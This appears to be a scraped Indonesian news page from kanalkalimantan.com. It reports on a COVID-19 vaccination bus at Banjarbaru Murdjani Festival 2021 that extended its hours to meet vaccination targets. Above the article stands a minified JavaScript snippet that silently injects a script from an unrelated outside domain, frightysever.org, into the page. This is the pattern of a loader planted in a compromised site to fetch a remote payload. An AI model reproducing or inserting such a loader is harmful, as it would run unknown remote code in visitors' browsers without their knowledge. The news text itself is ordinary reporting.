(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ikut Nangkring di Banjarbaru Murdjani Festival, Bus Vaksinasi Buka Pelayanan hingga Malam

KANALKALIMANTAN.COM, BANJARBARU – Bus Vaksinasi Juara ikut serta memeriahkan pergelaran Banjarbaru Murdjani Festival 2021. Keberadaan Bus Vaksinasi ini tidak terlepas dari target Pemko Banjarbaru untuk mencapai herd immunity.

Pada acara Murdjani Festival, bus selama dua hari ini melakukan pelayanan vaksin kepada masyarakat. Tercatat sudah hampir 2.000 orang yang terlayani dan antusiasme masyarakat hingga malam hari semakin meningkat.

Hal ini diungkapkan oleh Kepala Rumah Sakit Sungai Ulin, drg Rahmi mengungkapkan Puskesmas Sungai Ulin kebagian shift sore hingga malam.

“Di hari kedua ini kami kebagian shift dari habis ashar hingga maghrib,” ucapnya. Namun, dengan antusiasme masyarakat yang semakin meningkat menjelang malam, pelayanan vaksinasi terus dibuka.

Layanan bus vaksinasi keliling di Banjarbaru Murdjani Festival 2021 pada malam hari. Foto: ibnu

“Sore tadi masyarakat yang melakukan Vaksin hampir tidak terlihat sehingga kami merencanakan memberhentikan pelayanan selepas maghrib. Namun semakin malam ternyata masyarakat yang berminat melakukan vaksin berdatangan sehingga pelayanan terus kami buka,” ungkapnya.

Sementara itu, Kepala Bidang Pengendalian dan Pencegahan Penyakit (P2P) Dinas Kesehatan (Dinkes) Kota Banjarbaru, Dr Juhai Trianti Agustina mengungkapkan demi mengejar target capaian vaksinasi hingga akhir Desember, Dinkes Banjarbaru terus menggenjot vaksinasi.

“Hari pertama festival kita buka hingga sore saja, di hari kedua ini terlihat minat masyarakat sehingga kami terus membuka pelayanan,” ungkapnya.

Dikatakan dr Juhai, Bus Vaksinasi ini akan terus melayani pengunjung festival.

“Kami tidak menargetkan jumlah Vaksinasi, namun jika ada masyarakat yang ingin vaksin kami layani,” ujarnya.

Ditambahkan Dr Juhai, pada Bus Vaksinasi Juara ini menggunakan jenis Sinovac, Fpizer dan Astrazeneca.

Hal ini bertujuan untuk mengejar target pusat hingga yang bulan Desember 2021 dengan capaian 70 persen untuk umum dan 60 persen untuk vaksinasi lansia.

“Kita masih belum mencapai 60 persen targen vaksinasi lansia, sehingga kami terus menggenjot vaksinasi ini,” tandasnya.

Salah seorang pengunjung yang melakukan vaksinasi mengungkapkan dirinya melakukan vaksinasi di Bus Vaksinasi Juara sambil berkunjung ke Murdjani Festival untuk menghindari antre.

“Di sini tidak terlalu antre,” ungkap Isnawati. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell